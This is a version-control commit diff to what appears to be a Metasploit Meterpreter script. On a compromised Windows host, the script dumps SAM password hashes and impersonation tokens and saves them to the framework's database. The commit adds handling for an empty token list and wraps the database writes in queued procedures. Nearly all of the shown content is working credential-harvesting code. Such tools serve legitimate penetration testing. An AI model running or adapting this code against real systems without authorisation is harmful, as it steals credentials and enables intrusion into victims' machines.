Handle the case of incognito returning an empty token list
git-svn-id: file:///home/svn/framework3/trunk@8005 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
364880fb4d
commit
f000c69e80
|
@ -17,13 +17,13 @@ opts.parse(args) { |opt, idx, val|
|
|||
|
||||
# No sense trying to grab creds if we don't have any place to put them
|
||||
if !client.framework.db.active
|
||||
raise "Database not connected. Run db_connect first."
|
||||
raise RuntimeError, "Database not connected. Run db_connect first."
|
||||
end
|
||||
|
||||
|
||||
# Make sure we're rockin Priv and Incognito
|
||||
if not extensions.include?("priv"); client.core.use("priv") end
|
||||
if not extensions.include?("incognito"); client.core.use("incognito") end
|
||||
client.core.use("priv") if not extensions.include?("priv")
|
||||
client.core.use("incognito") if not extensions.include?("incognito")
|
||||
|
||||
# It wasn't me mom! Stinko did it!
|
||||
hashes = client.priv.sam_hashes
|
||||
|
@ -37,13 +37,19 @@ hashes.each do |user|
|
|||
|
||||
type = "auth_HASH"
|
||||
data = user.to_s
|
||||
|
||||
# We'll make this look like an auth note anyway
|
||||
client.framework.db.get_note(self, host, type, data)
|
||||
client.framework.db.queue Proc.new {
|
||||
# We'll make this look like an auth note anyway
|
||||
client.framework.db.get_note(self, host, type, data)
|
||||
}
|
||||
end
|
||||
|
||||
# Record user tokens
|
||||
tokens = client.incognito.incognito_list_tokens(0).values
|
||||
tokens = client.incognito.incognito_list_tokens(0)
|
||||
raise Rex::Script::Completed if not tokens
|
||||
|
||||
# Grab just the values
|
||||
tokens = tokens.values
|
||||
|
||||
# Meh, tokens come to us as a formatted string
|
||||
tokens = tokens.to_s.strip!.split("\n")
|
||||
|
||||
|
@ -51,5 +57,9 @@ tokens.each do |token|
|
|||
type = "auth_TOKEN"
|
||||
data = token
|
||||
|
||||
client.framework.db.get_note(self, host, type, data)
|
||||
client.framework.db.queue Proc.new {
|
||||
# We'll make this look like an auth note anyway
|
||||
client.framework.db.get_note(self, host, type, data)
|
||||
}
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue